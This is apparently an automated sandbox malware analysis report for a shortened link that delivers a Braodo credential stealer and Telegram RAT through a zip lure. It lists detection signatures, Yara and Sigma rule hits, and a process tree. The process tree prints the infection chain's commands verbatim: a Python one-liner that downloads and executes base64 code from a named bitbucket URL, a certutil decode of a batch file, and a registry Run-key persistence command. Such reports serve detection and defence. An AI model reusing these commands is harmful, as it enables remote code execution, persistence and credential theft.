Edit tour

Windows Analysis Report
https://t.ly/-kxCO

Overview

General Information

Sample URL:	https://t.ly/-kxCO
Analysis ID:	1556418
Infos:

Detection

Braodo

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Braodo

Yara detected Telegram RAT

Creates an autostart registry key pointing to binary in C:\Windows

Downloads suspicious files via Chrome

Sigma detected: Execution from Suspicious Folder

Sigma detected: Legitimate Application Dropped Script

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Tries to harvest and steal browser information (history, passwords, etc)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Explorer Process Tree Break

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

unarchiver.exe (PID: 2164 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 1372 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 4148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3724 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe (PID: 3636 cmdline: "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe" MD5: 4864A55CFF27F686023456A22371E790)

cmd.exe (PID: 572 cmdline: cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Rar.exe (PID: 6104 cmdline: Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l MD5: 01F28B85ABF1993B7B14B3D15346F2E8)

certutil.exe (PID: 6580 cmdline: certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat" MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

reg.exe (PID: 1988 cmdline: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

synaptics.exe (PID: 5176 cmdline: "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))" MD5: 8AD6C16026FF6C01453D5FA392C14CB4)

cmd.exe (PID: 904 cmdline: cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 2284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5372 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1684,i,14855367943723757865,2804243206049956149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 3352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/-kxCO" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

explorer.exe (PID: 6408 cmdline: "C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 6044 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 6816 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

synaptics.exe (PID: 6592 cmdline: C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))" MD5: 8AD6C16026FF6C01453D5FA392C14CB4)

explorer.exe (PID: 1252 cmdline: "C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat MD5: 662F4F92FDE3557E86D110526BB578D5)

unarchiver.exe (PID: 3536 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 3792 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\dkib1bpc.ejc" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 2668 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 4568 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

synaptics.exe (PID: 1580 cmdline: C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))" MD5: 8AD6C16026FF6C01453D5FA392C14CB4)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
0000001E.00000002.2910752820.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Braodo	Yara detected Braodo	Joe Security
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))", CommandLine: "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))", CommandLine|base64offset|contains: , Image: C:\Users\Public\QExvbmVOb25l\synaptics.exe, NewProcessName: C:\Users\Public\QExvbmVOb25l\synaptics.exe, OriginalFileName: C:\Users\Public\QExvbmVOb25l\synaptics.exe, ParentCommandLine: cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 572, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))", ProcessId: 5176, ProcessName: synaptics.exe

Sigma detected: Legitimate Application Dropped Script

Source: File created

Author: frack113, Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\certutil.exe, ProcessId: 6580, TargetFilename: C:\Users\Public\Windows Security.bat

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 1988, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 572, TargetFilename: C:\Users\Public\QExvbmVOb25l

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 1988, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, CommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 572, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, ProcessId: 1988, ProcessName: reg.exe

Sigma detected: Explorer Process Tree Break

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), @gott_cyber: Data: Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, CommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 752, ProcessCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ProcessId: 6044, ProcessName: explorer.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, CommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 572, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f, ProcessId: 1988, ProcessName: reg.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67CA6D8 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

16_2_00007FF6F67CA6D8

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: /app/crashsubmit?appname=SumatraPDFhttp://www.haihaisoft.comlibmupdf.pdbSumatraPDF.pdbSumatraPDF-prereleaseSumatraPDF.pdbSumatraPDF-1.5.3.0.pdbSumatraPDF.pdblibmupdf.pdbSumatraPDF-no-MuPDF.pdbhttp://kjkpub.s3.amazonaws.com/sumatrapdf/prerel/SumatraPDF-prerelease-SVN_PRE_RELEASE_VER.pdb.zipsymbols_tmp.ziphttp://kjkpub.s3.amazonaws.com/sumatrapdf/rel/SumatraPDF-1.5.3.0.pdb.zipsymbols_tmp.zipSUMATRAPDF_FULLDUMPHaihaisoft PDF Reader crashedSorry, that shouldn't have happened! source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nw.pdbh source: Rar.exe, 00000010.00000003.2643474934.000001B79B6F1000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2642559790.000001B79B6B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SumatraPDF-no-MuPDF.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000000.2650329180.0000000000112000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: SumatraPDF-1.5.3.0.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000000.2650329180.0000000000112000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: synaptics.exe, 00000026.00000002.2910472179.0000000068E5C000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: m:\sumatrapdf\hpreader-windows-standard\hpreader\Release\hpreader.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\python310.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xOdx>a0m:\sumatrapdf\hpreader-windows-standard\hpreader\Release\hpreader.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb! source: Rar.exe, 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp, Rar.exe, 00000010.00000000.2459015326.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdbGCTL source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: Rar.exe, 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp, Rar.exe, 00000010.00000000.2459015326.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: libmupdf.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\LoneNone\Desktop\PDF SIDELOAD\SideLoad\Release\msimg32.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmp

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_734235A0 wsprintfW,FindFirstFileW,lstrcpynW,lstrcmpW,wsprintfW,lstrcmpiW,wsprintfW,memset,CreateProcessW,CloseHandle,CloseHandle,lstrcmpW,lstrcmpW,wsprintfW,FindNextFileW,FindClose,	11_2_734235A0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67D7124 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	16_2_00007FF6F67D7124
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F681B830 FindFirstFileExA,	16_2_00007FF6F681B830
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67CF944 FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	16_2_00007FF6F67CF944

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://HDMHDMLoading...%s
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://blog.kowalczyk.info/software/sumatrapdf/translations.htmlContribute
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://blog.kowalczyk.info/software/sumatrapdf/translators.htmlThe
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://blog.kowalczyk.infoKrzysztof
